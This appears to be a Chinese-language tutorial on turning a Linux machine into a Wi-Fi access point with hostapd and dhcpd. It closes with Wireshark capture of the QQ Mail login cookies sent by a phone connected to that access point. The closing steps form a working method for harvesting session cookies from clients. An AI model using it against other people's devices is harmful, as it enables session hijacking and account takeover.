sudo apt-get install hostapd isc-dhcp-server
開機不須要啓動這兩個服務,建議把它們關掉:
sudo update-rc.d -f hostapd remove
註釋掉下面兩個文件start on那一行:
sudo nano /etc/init/isc-dhcp-server.conf
sudo nano /etc/init/isc-dhcp-server6.conf shell
interface=wlan0 driver=nl80211 ssid=YOUR_AP_NAME hw_mode=g channel=10 macaddr_acl=0 auth_algs=3 wpa=2 wpa_passphrase=YOUR_AP_PASSWORD wpa_key_mgmt=WPA-PSK wpa_pairwise=TKIP CCMP rsn_pairwise=TKIP CCMP
sudo nano /etc/dhcp/dhcpd.conf 在末尾加入如下內容:
bash
subnet 192.168.0.0 netmask 255.255.255.0 { range 192.168.0.2 192.168.0.10; option routers 192.168.0.1; option domain-name-servers 192.168.0.1,180.76.76.76,8.8.8.8; }
其中180.76.76.76是百度公共DNS服務器,8.8.8.8則是Google的DNS服務器.
在本身的家目錄下建立一個hostapd目錄,裏面新建啓動和關閉腳本,好比我這樣寫(注意把裏面eechen換成你的用戶名):
nano /home/eechen/hostapd/ap-start.sh
服務器
#!/bin/bash # 開啓內核IP轉發 bash -c "echo 1 > /proc/sys/net/ipv4/ip_forward" # 開啓防火牆NAT轉發(若是本機使用eth0上網,則把ppp0改成eth0) iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE # 關閉NetworkManager對無線網卡的控制 nmcli nm wifi off # 設置並啓動無線網卡 ifconfig wlan0 192.168.0.1 netmask 255.255.255.0 # 解鎖無線設備,能夠用rfkill list查看解鎖結果. rfkill unblock wlan # 睡眠6秒,待rfkill解鎖生效 sleep 6s # 啓動dhcpd和hostapd,若是hostapd沒法啓動請查看日誌hostapd.log,查看這兩個進程ps -ef|egrep "dhcpd|hostapd" nohup hostapd /etc/hostapd/hostapd.conf >/home/eechen/hostapd/hostapd.log 2>&1 & dhcpd wlan0 -pf /var/run/dhcpd.pid ps -ef|head -n1 && ps -ef|egrep "dhcpd|hostapd"
nano /home/eechen/hostapd/ap-stop.sh cookie
#!/bin/bash killall hostapd dhcpd bash -c "echo 0 > /proc/sys/net/ipv4/ip_forward" ifconfig wlan0 down
sudo apt-get install wireshark sudo chgrp eechen /usr/bin/dumpcap sudo chmod 750 /usr/bin/dumpcap sudo setcap cap_net_raw,cap_net_admin+eip /usr/bin/dumpcap
Alt+F2運行wireshark,選擇網絡接口wlan0,Filter裏輸入http.cookie contains mail.qq.com
而後手機端登陸網頁QQ郵箱,在WireShark便可查看和獲取QQ郵箱登陸的Cookie,如圖所示:
網絡